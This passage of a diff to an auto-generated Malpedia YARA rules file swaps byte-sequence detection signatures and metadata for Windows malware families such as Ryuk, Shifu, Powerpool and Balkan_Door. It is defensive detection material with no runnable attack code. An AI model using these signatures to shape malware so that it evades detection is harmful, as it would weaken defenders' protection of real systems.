5d c3 } - $sequence_3 = { 56 8b742408 8b865caf0100 57 } - $sequence_4 = { 8b7508 33ff 89b55cfdffff 89bd60fdffff 8d450c } - $sequence_5 = { e8???????? d9450c 51 8d8d58ffffff d91c24 } - $sequence_6 = { 8b7508 33db 895dd0 c746140f000000 895e10 8975cc } - $sequence_7 = { d9e0 d99d00ffffff d98500ffffff d91c24 } - $sequence_8 = { 740a b800000500 e9???????? 57 } - $sequence_9 = { 5f c6043300 8bc6 5e 5b c20400 } - $sequence_10 = { 895dfc e8???????? 83781408 c645fc01 } - $sequence_11 = { b800020000 e9???????? 8b4dc8 33c0 } - $sequence_12 = { 5e c20400 ff742408 e8???????? 59 83f8ff } - $sequence_13 = { c745f41e000000 c745f80f000000 8955fc 8bcb } - $sequence_14 = { e8???????? 56 53 8d4d80 e8???????? } - $sequence_15 = { ff15???????? 89460c 3bc3 7507 } - $sequence_16 = { f3a5 8d88e00e0000 894de4 8bcb } - $sequence_17 = { e8???????? 59 83f8ff 7503 32c0 c3 } - $sequence_18 = { 83781410 7202 8b00 50 8b45a0 } - $sequence_19 = { c1e004 8bf0 0fbe4301 50 } - $sequence_20 = { c9 c3 8b542408 85d2 7503 33c0 c3 } - $sequence_21 = { 53 68???????? 6802000080 ff15???????? 85c0 751b } - $sequence_22 = { 50 ff15???????? 8b4da0 8901 85c0 } - $sequence_23 = { 50 6a09 53 68???????? } - $sequence_24 = { 0fb605???????? 50 0fb605???????? 50 0fb605???????? 50 6a01 } - $sequence_25 = { 68???????? e8???????? 59 83f820 } - $sequence_26 = { 395df0 7411 ff75f0 53 } - $sequence_27 = { 53 50 899e6caf0600 e8???????? } - $sequence_28 = { 53 68???????? 8d8da8000000 e8???????? } - $sequence_29 = { 895df0 8d45f0 50 6a09 } - $sequence_30 = { 399e70af0600 7514 c78678af060001000000 c78670af060000000100 68fcff0100 8d8670af0400 53 } - $sequence_31 = { 7411 395df0 740c ff75f0 ff15???????? 895df0 } - $sequence_32 = { 741d ff75f0 ff15???????? 895df0 395df0 740c ff75f0 } - $sequence_33 = { c3 55 8bec 83ec0c 8365fc00 8365f400 8365f800 } - $sequence_34 = { 8d852cffffff 50 8d459c 50 } - $sequence_35 = { 0faf450c 50 e8???????? 59 } - $sequence_36 = { 8b4508 8906 8b450c 894608 8b4510 } - $sequence_37 = { e8???????? c9 c3 55 8bec 83ec18 8b450c } - $sequence_38 = { 8910 8b4120 8910 8b4130 8910 c3 56 } - $sequence_39 = { 50 ff15???????? 6a1a e8???????? } - $sequence_40 = { 6860ea0000 6a00 ff15???????? 50 } - $sequence_41 = { 5f c21000 8bff 55 8bec 6a0a } - $sequence_42 = { 5b 5d c3 b84d5a0000 } - $sequence_43 = { 83f8ff 740c a810 7508 } - $sequence_44 = { eb0b 8b45f4 0500040000 8945f4 } - $sequence_45 = { dd1c24 6a0b 6a10 e8???????? 83c41c 8be5 } - $sequence_46 = { 4c8bc7 33d2 488bc8 ff15???????? e8???????? } - $sequence_47 = { dd45f0 dd1c24 83ec08 dd4508 dd1c24 6a0b 6a10 } - $sequence_48 = { 492bc1 483d40420f00 0f87f0000000 458bc7 } - $sequence_49 = { 2bd3 03ca 4103cb 0f84de010000 4863442440 33d2 440fb6743001 } - $sequence_50 = { 83bc24a400000000 b8ea22c8aa b9a5a0bab6 0f44c1 } - $sequence_51 = { f30fe6c9 f20f58c0 f20f5cc8 f20f59ce f20f114c2458 0fbe05???????? 0fbe0d???????? } - $sequence_52 = { 83bc249400000000 b9ed1334e4 b8302e84ed 0f4fc8 e9???????? 8b8c248c000000 } - $sequence_53 = { 8bd7 8bc5 83ee04 7211 8b0a } - $sequence_54 = { 83bc249c00000000 bf9def53cd b8a3d8a22f 0f4ff8 } - $sequence_55 = { 83bc24a004000000 b9e2dadbde 0f8408ffffff b95fc85b65 } - $sequence_56 = { 492bc3 493bc2 7708 41ffc0 } - $sequence_57 = { 2bc1 f2480f2ac0 f20f59442458 f20f2cc0 894590 4863442440 } - $sequence_58 = { 492bc2 483bc1 770c 41ffc1 } - $sequence_59 = { 83bc24a007000000 b8c00c462f b92fb31014 0f44c8 } - $sequence_60 = { 8bd8 33da 80f101 898c2484000000 } - $sequence_61 = { 8bd8 23d1 8b149518d54600 c1eb08 } - $sequence_62 = { 0f57c0 f2480f2ac2 33d2 f20f59c8 f20f114c2450 0fbe05???????? } - $sequence_63 = { 492bd1 4e8d0436 6666660f1f840000000000 410fb60408 } - $sequence_64 = { 0fbe0d???????? 3bc1 7429 0fbe0d???????? 0fafcf 8d0449 } - $sequence_65 = { 0fbec8 0f57d2 0fbe05???????? 8d14d1 0fbe0d???????? 03c2 } - $sequence_66 = { 4923c2 493bc3 7742 488bc2 4923c2 493bc3 } - $sequence_67 = { 83bc249400000003 0f9c442460 8b05???????? 8d4801 } - $sequence_68 = { 0f8c0d230000 488b7c2440 8b742450 488d0d1c700200 e8???????? 488d8d10030000 ff15???????? } - $sequence_69 = { 83bc24980000000e 0f9c442464 8b05???????? 8d4801 } - $sequence_70 = { 83bc24980000000f b9fe4381ca b800af166b 0f4cc8 } + $sequence_0 = { 6a02 6a00 68???????? 6802000080 ff15???????? 8b15???????? } + $sequence_1 = { 894de4 399860554700 0f84ea000000 41 83c030 894de4 3df0000000 } + $sequence_2 = { 6a00 ff5014 c20800 55 8bec 83c1f8 } + $sequence_3 = { 40 8945d4 8bd8 0f1f00 ff75e0 8b17 } + $sequence_4 = { e8???????? 8d8d98efffff e8???????? 8b4df4 } + $sequence_5 = { 897de4 33db 895dfc 895dd4 81fb80000000 7d4d 8b049d00b04700 } + $sequence_6 = { 3347fc 0be8 83ea01 75f0 8b5c2420 896c2410 eb08 } + $sequence_7 = { c6430900 83630c00 c703???????? 8a00 884310 eb02 33db } + $sequence_8 = { 0f57c0 c745fc00000000 660fd64604 6aff 8d4e10 c706???????? c7460c04000000 } + $sequence_9 = { e8???????? 8bd8 33c9 8bc6 895dc8 f7e7 } condition: - 7 of them and filesize < 4751360 + 7 of them and filesize < 1091584 } -rule MALPEDIA_Win_Shifu_Auto : FILE +rule MALPEDIA_Win_Spedear_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "94131f96-f004-59ab-be06-e4302b4af25a" + id = "1d005a15-ef8d-569f-a767-c6e1e72829d4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shifu_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spedear_auto.yar#L1-L271" license_url = "N/A" - logic_hash = "c03c0d8c15de6f3e31605e542d8b0452407c2c6c3eb4ca0055ffada2d5d050db" + logic_hash = "fdde63af58dfc9054af7189054546d8fc5a45deaed146cfe4323b2ae3cb67aa8" score = 75 - quality = 75 + quality = 71 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -109011,32 +109221,50 @@ rule MALPEDIA_Win_Shifu_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895dfc 6a08 58 e8???????? 8bc4 85c0 7411 } - $sequence_1 = { 56 e8???????? 85c0 0f848d010000 ff7508 683a041000 e8???????? } - $sequence_2 = { 83c420 f644242010 741c 6a04 6a00 ff742418 e8???????? } - $sequence_3 = { 83c604 833e00 75a3 83c714 8b470c 85c0 0f8573ffffff } - $sequence_4 = { 6800200000 57 57 6a02 ff15???????? 8bd8 3bdf } - $sequence_5 = { 7516 6aff 53 ff15???????? 83f8ff 7408 53 } - $sequence_6 = { 85c0 7540 3945f4 7447 ff15???????? 8b75f8 8365f400 } - $sequence_7 = { 50 68060000c8 56 c7442430b907a225 c744243660468ee9 c744243a76e58c74 66c744243e063e } - $sequence_8 = { 50 ff15???????? 6a10 58 e8???????? 8bc4 3bc7 } - $sequence_9 = { e8???????? 50 ffd6 893d???????? 3bc7 740a c705????????01000000 } + $sequence_0 = { 83e207 03c2 c1f803 83c40c 85c0 } + $sequence_1 = { 53 50 e8???????? 8b7e0c 895e10 } + $sequence_2 = { 8b4718 8a5f06 50 894608 e8???????? } + $sequence_3 = { 6a00 6a00 57 8bd8 ffd6 6a00 8d442414 } + $sequence_4 = { 894618 ffd7 89461c 5f } + $sequence_5 = { e8???????? 83c404 3bc5 740a c700???????? 8bd8 eb02 } + $sequence_6 = { 8906 8b44241c 5e 33d1 5d } + $sequence_7 = { 8b4604 8b571c 83c410 83c120 53 e8???????? 3bdd } + $sequence_8 = { 85c0 7536 85f6 742c 833e00 741e 8b5608 } + $sequence_9 = { 6a00 68???????? e8???????? 83c40c 68d0070000 } + $sequence_10 = { 741a 6a00 6a00 ff7608 ff5604 6800800000 6a00 } + $sequence_11 = { 394878 7456 39487c 7451 } + $sequence_12 = { 8bc7 5e 5f 5b 5d c3 6a08 } + $sequence_13 = { 83450c04 33c7 ff4d08 8b7dfc } + $sequence_14 = { c745fc12000000 33ff 895d08 8b5d0c 0fb61c19 c1e708 } + $sequence_15 = { 4c8bda 418b10 498d6b44 498bd9 498bf8 } + $sequence_16 = { 8b4610 3998a0000000 760f 3998a4000000 7607 57 56 } + $sequence_17 = { 3b0d???????? 7329 4863d1 488d0dd0ab0000 } + $sequence_18 = { ff15???????? 4c8d5c2440 488d1571020100 492bd3 410fb60b 410fb60413 } + $sequence_19 = { c744243004010000 e8???????? 488b4c2438 4c8d5c2430 488d842450010000 488d15f0bd0000 4c895c2428 } + $sequence_20 = { 8d6a12 41be04000000 4d2be3 0f1f00 448bc2 } + $sequence_21 = { 68???????? 8d45f0 50 c745f0f0d12300 e8???????? } + $sequence_22 = { 488bcb e8???????? 85ff 7e33 } + $sequence_23 = { 8b4310 33c9 56 57 394878 } + $sequence_24 = { 895f10 488b4f18 4885c9 740c e8???????? } + $sequence_25 = { 3bf2 7cc1 034004 8b4804 } + $sequence_26 = { 4883c308 483bdf 72ed 48833d????????00 741f 488d0dc6ef0000 e8???????? } + $sequence_27 = { 85c0 752c ff7508 68???????? } condition: - 7 of them and filesize < 344064 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Hotwax_Auto : FILE +rule MALPEDIA_Win_Unidentified_099_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8f2ed895-b1d8-5520-8ccc-967359fd3764" + id = "6834d9d3-6a75-5c68-b5d3-9237e184ef6d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotwax" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hotwax_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_099" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_099_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "d7cd386e473b27344ee89ce7aa7064b521c3dfeec69fed7db0108e253da6990c" + logic_hash = "7fd05f1e717b782bb9ac06a7756c0dc03e1b36f5a16d932168b1c5d5cda9cc3a" score = 75 quality = 75 tags = "FILE" @@ -109050,71 +109278,71 @@ rule MALPEDIA_Win_Hotwax_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 807d580a 4c8d05737dffff 740f eb07 4c8d05687dffff 448823 48ffc3 } - $sequence_1 = { 488d542448 488d8c2400020000 e8???????? 488b5c2448 85c0 740b ff15???????? } - $sequence_2 = { 4889842410030000 488bf9 488d8c2401020000 33d2 41b803010000 c684240002000000 } - $sequence_3 = { 488d15edd30000 488bcb 488905???????? ff15???????? 488d15bed30000 } - $sequence_4 = { 4533db 488d9424f0000000 41b803010000 44895c2440 4c895c2448 ff15???????? 833d????????00 } - $sequence_5 = { 486bd258 490394c1a04b0100 f6423880 742c } - $sequence_6 = { c785080500004c647247 c7850c05000065745072 c785100500006f636564 c7851405000075726541 c7851805000064647265 } - $sequence_7 = { 0f84da000000 488b9424b0000000 8bd8 410fb7f6 4803da 488d3c0a 488b0b } - $sequence_8 = { 488b0d???????? eb7c 4c8d256a830000 488b0d???????? eb6c e8???????? } - $sequence_9 = { 33c0 e9???????? 48895c2408 4c63c1 488d1d45770000 4d8bc8 } + $sequence_0 = { 48895c2408 4889742410 57 4883ec20 488d1d7e700100 } + $sequence_1 = { 498bcd ff15???????? b974000000 e8???????? 4c8bd0 } + $sequence_2 = { 488d05fb9d0000 49c1e302 4889452f 83e202 8bc2 4903c3 4c8945ef } + $sequence_3 = { f3aa 488d8520030000 33c9 4533c9 4889442420 4533c0 ff15???????? } + $sequence_4 = { 4885c0 0f8421040000 4d8bc5 488d1506950100 488d4c2450 } + $sequence_5 = { 7410 488d0d2cb50100 4883c428 e9???????? e8???????? 85c0 } + $sequence_6 = { 752c 4985df 7527 488b9540070000 4c8d0502860000 498bcd 44897604 } + $sequence_7 = { 41b880000000 e8???????? 4533ed 488d8d50040000 33d2 44896c2468 } + $sequence_8 = { 488d8c2490200000 4533c9 48897c2430 897c2428 ba00000080 c744242003000000 } + $sequence_9 = { 488d7f01 4883fa2d 7ce7 4c8d8510020000 } condition: - 7 of them and filesize < 198656 + 7 of them and filesize < 314368 } -rule MALPEDIA_Win_Unidentified_063_Auto : FILE +rule MALPEDIA_Win_Tapaoux_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d22cba4e-b95b-5578-ac95-09534bd7dc14" - date = "2022-11-21" - modified = "2022-11-25" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_063" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_063_auto.yar#L1-L124" + id = "92f6e706-3399-5d0e-9b67-afc2a01b11c8" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tapaoux_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "14c180eecdf0e6fbf2b936d6c444ad58c2e649e1fa770106e8719057ee1aefbd" + logic_hash = "d4ad8726a2edee7cde7a56aa56890c668a33f52c080a12cbfff5c16b6a3c4a03" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20221118" - malpedia_hash = "e0702e2e6d1d00da65c8a29a4ebacd0a4c59e1af" - malpedia_version = "20221125" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d43cf 83f819 770c 6689b550030000 e9???????? } - $sequence_1 = { 7363 488bf3 4c8d35dfc40100 83e63f 488beb 48c1fd06 48c1e606 } - $sequence_2 = { e8???????? 4863f8 488d3588800100 488bcb } - $sequence_3 = { 0f11442478 4c8b4708 488d442470 493bc0 7362 488b07 488d4c2470 } - $sequence_4 = { 4885c9 7407 48ff25???????? c3 48894c2408 57 4883ec50 } - $sequence_5 = { 83f801 7518 488b0d???????? 488d05bf5f0100 483bc8 7405 e8???????? } - $sequence_6 = { 8b8c96d0cd0200 8b534c 33c8 0fb6c1 } - $sequence_7 = { 0f84e7000000 488b0e 483bc8 740e 4885c9 7406 } - $sequence_8 = { 498bc2 418be9 48c1f806 488d0d708c0100 4183e23f 4903e8 } - $sequence_9 = { 488d158a5a0200 488bcb e8???????? 85c0 7499 488d157f5a0200 488bcb } + $sequence_0 = { 57 8d442418 68???????? 50 e8???????? 8b07 } + $sequence_1 = { 8b4c243e 81e2ffff0000 25ffff0000 52 8b54243e 50 8b442440 } + $sequence_2 = { ff15???????? 8a842410050000 83c410 33db } + $sequence_3 = { 5b 81c408040000 c3 8b84241c040000 8b4b04 } + $sequence_4 = { 83c40c 85c0 56 7d16 } + $sequence_5 = { 8d442410 50 e8???????? 8b8c2428010000 83c404 } + $sequence_6 = { 8b44241c 8d542410 52 8d8c24d8060000 50 51 57 } + $sequence_7 = { 83c410 85c0 7507 b850000000 eb09 50 e8???????? } + $sequence_8 = { 8be8 0fbe03 50 e8???????? 83c408 3bc5 } + $sequence_9 = { 84c0 74c5 3bf7 7ccf 5f 5e 5d } condition: - 7 of them and filesize < 475136 + 7 of them and filesize < 292864 } -rule MALPEDIA_Win_7Ev3N_Auto : FILE +rule MALPEDIA_Win_Veiledsignal_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "005aa5f2-162b-5bf7-ad49-b9d7ff2db13f" + id = "71866fc5-9473-559b-a801-c95ebfec50c7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.7ev3n_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.veiledsignal" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.veiledsignal_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "4eede98c5fa06e7258d260c1c452e6214bfc253858a007d8970063a1ca550ad3" + logic_hash = "71af0216ed8c73a7deae45ea9d8e0b2ebb718fbb1957e80a9a771dea9a9d10a4" score = 75 quality = 75 tags = "FILE" @@ -109128,32 +109356,32 @@ rule MALPEDIA_Win_7Ev3N_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 8d85f0d9ffff 50 8d8dd0cdffff e8???????? 8bce 2bcf } - $sequence_1 = { 2bcf 3bc1 0f84e2910000 8dbd50dcffff 8d4f02 0f1f840000000000 } - $sequence_2 = { 2bcf 3bc1 0f8412490000 8dbdcce7ffff 8d4f02 0f1f840000000000 668b07 } - $sequence_3 = { e8???????? 8bce 2b8d00cbffff 3bc1 0f84ce070000 8dbd50d9ffff 8d4f02 } - $sequence_4 = { e8???????? 8bce 2bcf 3bc1 0f84427a0000 8dbdf8eeffff 8d4f02 } - $sequence_5 = { 6a00 8d85a0e3ffff 50 8d8dd0cdffff e8???????? 8bce 2bcf } - $sequence_6 = { 6a00 6800000080 50 ff15???????? 898520ffffff 85c0 7509 } - $sequence_7 = { 83c702 6685c0 75f5 2bf9 d1ff 6a00 8d8500edffff } - $sequence_8 = { f30f7e05???????? 660fd68564e6ffff 0fb705???????? 6689856ce6ffff f30f7e05???????? 660fd68558e6ffff 0fb705???????? } - $sequence_9 = { d1ff 6a00 8d85acfbffff 50 8d8dd0cdffff e8???????? 8bce } + $sequence_0 = { c5f92f25???????? 0f82b1000000 48c1e82c c5e9eb15???????? c5f1eb0d???????? 4c8d0d66850000 } + $sequence_1 = { e9???????? e8???????? e9???????? 488d0514380400 } + $sequence_2 = { 0fb6552f 4c8d4d2f 4533c0 418d4814 ffd0 } + $sequence_3 = { 488d0db99a0400 e8???????? 488d0dc59a0400 e8???????? } + $sequence_4 = { 7ec4 83c8ff eb0b 4803f6 418b84f7a8140100 85c0 } + $sequence_5 = { e8???????? 4881c458010000 c3 8d8146b8ffff 83f801 } + $sequence_6 = { e8???????? 488b8890000000 48399938010000 7516 488d05c7390400 4a8b04e8 } + $sequence_7 = { ff15???????? e9???????? 8b7c2428 488bcb ff15???????? 85ff 0f844bffffff } + $sequence_8 = { 83f8ff 7425 488d1586b10400 8bc8 e8???????? 85c0 740e } + $sequence_9 = { 428844f13e 4b8b84e010e70400 42804cf03d04 38558f e9???????? ff15???????? 894597 } condition: - 7 of them and filesize < 803840 + 7 of them and filesize < 667648 } -rule MALPEDIA_Win_Moonwalk_Auto : FILE +rule MALPEDIA_Win_Powerpool_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ef8baf81-8fc1-5b8a-8169-40c37ce56608" + id = "d4f7d376-91ac-5fba-b394-2196d4883657" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwalk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moonwalk_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powerpool_auto.yar#L1-L156" license_url = "N/A" - logic_hash = "41695c23cda2f92c0bf6c3a4d26b3fdee7d01afc1ec5f837be35f51c67bf067d" + logic_hash = "dfb0ae2ebf3333eb0ea72de9c6611cca01721c6596963f45a9f1a6121b1e8024" score = 75 quality = 75 tags = "FILE" @@ -109167,32 +109395,38 @@ rule MALPEDIA_Win_Moonwalk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d4c2458 4c8978d0 4533ff 4c897c2458 44897d20 e8???????? 85c0 } - $sequence_1 = { 488b0d???????? ba833fd2f8 41b8e8c5ba5b 48898140010000 488d0d17880000 e8???????? } - $sequence_2 = { 488b05???????? 4c8bb42418050000 4885c0 753c 488d8548040000 4489bd48040000 33d2 } - $sequence_3 = { 72ed 443bc2 0f844e020000 33c0 44899500020000 89456c 0f57c0 } - $sequence_4 = { 4881c4b0000000 5e c3 488b4718 488b4f20 ff5068 488d942490000000 } - $sequence_5 = { 488b4968 4c896c2438 4c896c2430 4c896c2428 4c896c2420 e8???????? 4885db } - $sequence_6 = { 488d0508ecffff 48894360 488d05bdf4ffff 48894368 488d05b2f5ffff 48894370 488d05c7f7ffff } - $sequence_7 = { 488bfa 440fb65104 440fb64908 440fb6410c } - $sequence_8 = { 4154 4155 4156 4157 488dac2458feffff 4881ecb8020000 0f1005???????? } - $sequence_9 = { 0f84b6000000 4183f81d 740a b810000000 4883c448 c3 48895c2440 } + $sequence_0 = { 7412 8b04b0 50 e8???????? } + $sequence_1 = { 7412 837de810 8b45d4 895de4 } + $sequence_2 = { 895e64 33db 894e68 53 53 56 } + $sequence_3 = { 7412 8b4904 80e103 80f901 } + $sequence_4 = { 006711 40 0000 0303 } + $sequence_5 = { 7412 6a00 e8???????? 84c0 7407 b802000000 5f } + $sequence_6 = { 7412 83e903 0f8515010000 c745dcfcae4400 } + $sequence_7 = { 895e64 ff15???????? 8b4c2418 51 } + $sequence_8 = { 7412 8b45d0 2403 3c01 } + $sequence_9 = { 895e64 e9???????? 53 57 } + $sequence_10 = { 8b6c2468 55 6a02 33db 33ff ff15???????? 8bf0 } + $sequence_11 = { 7443 8b45d4 83ff10 7303 } + $sequence_12 = { 005311 40 005d11 40 006711 } + $sequence_13 = { 8965f0 85c9 7504 33ff eb16 } + $sequence_14 = { 895e64 ff15???????? 8b442414 50 } + $sequence_15 = { 7412 8b45a4 83c01f 3945b0 } condition: - 7 of them and filesize < 179200 + 7 of them and filesize < 819200 } -rule MALPEDIA_Win_8T_Dropper_Auto : FILE +rule MALPEDIA_Win_Balkan_Door_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "35feb768-d2e4-5049-96a0-91c968df3b4f" + id = "da1553c8-1e46-5d28-bd8e-ffaf0075dca2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.8t_dropper_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.balkan_door" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.balkan_door_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "feebe835113f0d32e29c6ca8b7fd1bfa62958e168ff440bb0def00a1fd456e8d" + logic_hash = "8fad6b0583675ac5acd98c6d6d2bed42312dfeea01b9aec6dd08e0296e917b26" score = 75 quality = 75 tags = "FILE" @@ -109206,34 +109440,34 @@ rule MALPEDIA_Win_8T_Dropper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c644240c00 f3ab 66ab aa bf???????? 83c9ff } - $sequence_1 = { 8d4c2408 51 683f000f00 50 52 6801000080 } - $sequence_2 = { 8bf0 83c408 85f6 741b 56 6800700000 6a01 } - $sequence_3 = { c6440c0d75 c6440c0e6e 8d4c2408 51 683f000f00 50 52 } - $sequence_4 = { 85c0 7559 8b4c2408 51 ff15???????? 8d942410010000 6804010000 } - $sequence_5 = { 8b442418 68???????? 50 ff15???????? 85c0 7559 8b4c2408 } - $sequence_6 = { 7559 8b4c2408 51 ff15???????? 8d942410010000 } - $sequence_7 = { c6440c0e6e 8d4c2408 51 683f000f00 50 } - $sequence_8 = { 51 ff15???????? 8d942410010000 6804010000 } - $sequence_9 = { f7d1 49 c6440c0c52 c6440c0d75 c6440c0e6e 8d4c2408 } + $sequence_0 = { 50 ffd7 50 56 68???????? } + $sequence_1 = { ffd7 5e 32c0 5f c3 32c0 } + $sequence_2 = { ffd7 5e 32c0 5f } + $sequence_3 = { 50 57 6a00 6a16 ffb53cefffff ff15???????? 85c0 } + $sequence_4 = { 6a26 ffb53cefffff ff15???????? 85c0 750c ff15???????? 8986f8000000 } + $sequence_5 = { 740b 6a00 6a00 56 ff15???????? 57 8b3d???????? } + $sequence_6 = { 68c0270900 ffd7 6a00 ff35???????? } + $sequence_7 = { d1f8 33d2 50 51 8d4dd8 } + $sequence_8 = { ffd7 85c0 741a 8d85d0fdffff c785d0fdffff2c020000 50 } + $sequence_9 = { ff15???????? 8bf0 85f6 740b 6a00 6a00 56 } condition: - 7 of them and filesize < 147456 + 7 of them and filesize < 352256 } -rule MALPEDIA_Win_Ryuk_Auto : FILE +rule MALPEDIA_Win_Mutabaha_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "63f1751f-d521-53f6-9b97-173de48e208c" + id = "f534e66a-bdb8-5a1d-bf5c-73ff5eac186f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ryuk_auto.yar#L1-L403" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mutabaha_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "4db40c45399c6db29cb64a2d888825a95bd14e7ba242fbbfeb5e1735cc3c9e5b" + logic_hash = "4a43ad552d1d544452880d565c27a595efcac7dc1e5e985992d3dce7571f7838" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -109245,67 +109479,32 @@ rule MALPEDIA_Win_Ryuk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? 6a01 6a00 6814010000 } - $sequence_1 = { ff15???????? 85c0 7508 6a01 ff15???????? 68???????? 6a01 } - $sequence_2 = { 6a08 6a18 68???????? 68???????? 68???????? ff15???????? 85c0 } - $sequence_3 = { 81b8????????50450000 754c b90b010000 66398818000035 } - $sequence_4 = { b90b010000 66398818000035 753e 8b4508 } - $sequence_5 = { ff15???????? 85c0 7407 b801000000 eb0b eb04 } - $sequence_6 = { e8???????? 68e8030000 ff15???????? 68???????? e8???????? } - $sequence_7 = { b801000000 eb0b eb04 33c0 eb05 b801000000 } - $sequence_8 = { c1e100 817c0dd8ff000000 0f8696000000 ba04000000 6bc200 } - $sequence_9 = { 99 89459c 8955a0 8b55a0 3b55f8 0f870b020000 } - $sequence_10 = { eb09 8b45f0 83c001 8945f0 8b45f0 99 8b4d08 } - $sequence_11 = { 50 8b4de8 0fb6512c 52 e8???????? } - $sequence_12 = { c1e200 8b45fc c6041000 c745d800000000 c745dc00000000 c745e000000000 } - $sequence_13 = { ff15???????? b811000000 e9???????? e9???????? } - $sequence_14 = { 6a00 6814010000 ff7508 ff35???????? ff15???????? } - $sequence_15 = { ff15???????? 833d????????00 6a10 6a18 } - $sequence_16 = { 7407 48 85c0 7ff0 } - $sequence_17 = { ff15???????? b803000000 eb05 b805000000 } - $sequence_18 = { 751b ff35???????? ff35???????? 6a01 68???????? e8???????? } - $sequence_19 = { 2bf0 33c0 66890473 83ffff } - $sequence_20 = { 56 ff15???????? 8bcb 8d5102 } - $sequence_21 = { eb0b 8bc1 99 f7fe } - $sequence_22 = { 7212 81f9d0070000 770a 85d2 } - $sequence_23 = { 85d2 7714 7212 81f9d0070000 } - $sequence_24 = { e8???????? 488bc3 4883c430 5b c3 48895c2408 48896c2410 } - $sequence_25 = { f3a4 8d7afe 668b4702 8d7f02 } - $sequence_26 = { 68???????? 53 d1fe e8???????? 83c408 8d5002 } - $sequence_27 = { 4883c428 c3 48895c2408 57 4883ec30 8364242000 b908000000 } - $sequence_28 = { 0f9fc0 5d c3 8bff 55 8bec 8b4508 } - $sequence_29 = { d1fa 2bca 33c0 6689444bfe e9???????? } - 